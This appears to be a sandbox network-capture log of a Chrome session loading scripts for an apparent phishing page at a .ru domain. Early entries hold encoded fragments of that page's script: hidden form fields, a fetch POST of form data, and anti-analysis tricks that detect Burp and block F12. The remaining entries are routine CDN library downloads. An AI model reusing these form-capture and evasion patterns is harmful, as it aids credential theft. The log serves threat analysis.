2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 31 59 53 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 56 68 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 47 52 68 64 47 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 47 56 34 64 43 31 6a 5a 57 35 30 5a 58 49 69 49 47 6c 6b 50 53 4a 55 5a 56 70 54 59 31 64 5a 57 6d 6c 42 49 6a 34 4e 43 6b 4a 79 62 33 64 7a 5a 58 49 67 64 6d 56 79 61 57 5a 70 59 32 Data Ascii: 9ImhpZGRlbiIgaWQ9ImJsdGR1YSIgbmFtZT0iYmx0ZHVhIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZGRhdGEiIG5hbWU9ImJsdGRkYXRhIiB2YWx1ZT0iIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiIGlkPSJUZVpTY1dZWmlBIj4NCkJyb3dzZXIgdmVyaWZpY2
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 5a 58 68 30 49 44 30 39 49 44 41 70 65 77 30 4b 49 43 41 67 49 47 5a 6c 64 47 4e 6f 4b 46 64 30 54 32 5a 4d 51 30 4a 36 55 32 45 73 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 62 57 56 30 61 47 39 6b 4f 69 41 69 55 45 39 54 56 43 49 73 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4a 76 5a 48 6b 36 49 47 35 6c 64 79 42 47 62 33 4a 74 52 47 46 30 59 53 68 55 53 46 42 4d 59 6d 56 43 61 33 56 59 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 Data Ascii: ZXh0ID09IDApew0KICAgIGZldGNoKFd0T2ZMQ0J6U2EsIHsNCiAgICAgICAgbWV0aG9kOiAiUE9TVCIsDQogICAgICAgIGJvZHk6IG5ldyBGb3JtRGF0YShUSFBMYmVCa3VYKQ0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICA
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 65 20 3d 3d 3d 20 61 48 61 4e 45 56 63 4c 6a 53 20 3f 20 62 65 55 71 77 79 71 52 6c 4c 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 62 65 55 71 77 79 71 52 6c 4c 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 0d 0a 69 66 28 4d 64 6b 52 4f 72 50 41 77 77 20 3d 3d 20 61 48 61 4e 45 56 63 4c 6a 53 29 7b 0d 0a 63 6f 6e 73 74 20 58 6c 76 78 6c 75 55 6d 57 49 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 62 65 55 71 77 79 71 52 6c 4c 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 62 65 55 71 77 79 71 52 Data Ascii: e === aHaNEVcLjS ? beUqwyqRlL.hostname : beUqwyqRlL.hostname.split('.').slice(-2).join('.');if(MdkROrPAww == aHaNEVcLjS){const XlvxluUmWI = window.location.pathname.split('%23')[0].split('%3F')[0];if (beUqwyqRlL.pathname.endsWith('/')) {beUqwyqR
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 32 5a 71 54 32 74 4f 56 47 46 31 64 47 73 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 32 5a 71 54 32 74 4f 56 47 46 31 64 47 73 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 5a 6d 70 50 61 30 35 55 59 58 56 30 61 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 32 5a 71 54 32 74 4f 56 47 46 31 64 47 73 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 Data Ascii: odDoxLjI7fQ0KI2ZqT2tOVGF1dGsgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2ZqT2tOVGF1dGsgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojZmpPa05UYXV0ayBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2ZqT2tOVGF1dGsuY2FwdGNoYS1jb250YWluZX
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 62 6e 51 75 61 57 35 6a 62 48 56 6b 5a 58 4d 6f 49 6b 4a 31 63 6e 41 69 4b 53 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 33 61 57 35 6b 62 33 63 75 62 47 39 6a 59 58 52 70 62 32 34 67 50 53 41 69 59 57 4a 76 64 58 51 36 59 6d 78 68 62 6d 73 69 4f 77 30 4b 66 51 30 4b 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 57 52 6b 52 58 5a 6c 62 6e 52 4d 61 58 4e 30 5a 57 35 6c 63 69 67 6e 61 32 56 35 5a 47 39 33 62 69 63 73 49 47 5a 31 62 6d 4e 30 61 57 39 75 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 4d 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 Data Ascii: bnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	62498	104.17.25.14	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:22 UTC	652	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8zkl.gratzeware.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:22 UTC	958	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 457253 Expires: Sat, 03 Jan 2026 20:17:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bv8JJQxwho75D00GEQCES20w5cvW7FY7keEw1hCvD6QXk8eLr2xDDbsLsvOvugB8qyWVWOKNwF1QstWdFFKK1Dj1gpp9522uyP%2BMcWBcqqmpJnU6WhFkL6z5mp9C%2B7eK49CDTdXP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901811c5c96dde9b-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:22 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	62497	104.18.95.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:22 UTC	650	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8zkl.gratzeware.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:22 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 13 Jan 2025 20:17:22 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 901811c5f8744225-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	62496	151.101.194.137	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:22 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8zkl.gratzeware.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:22 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2283969 Date: Mon, 13 Jan 2025 20:17:22 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890050-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1736799443.859423,VS0,VE1 Vary: Accept-Encoding
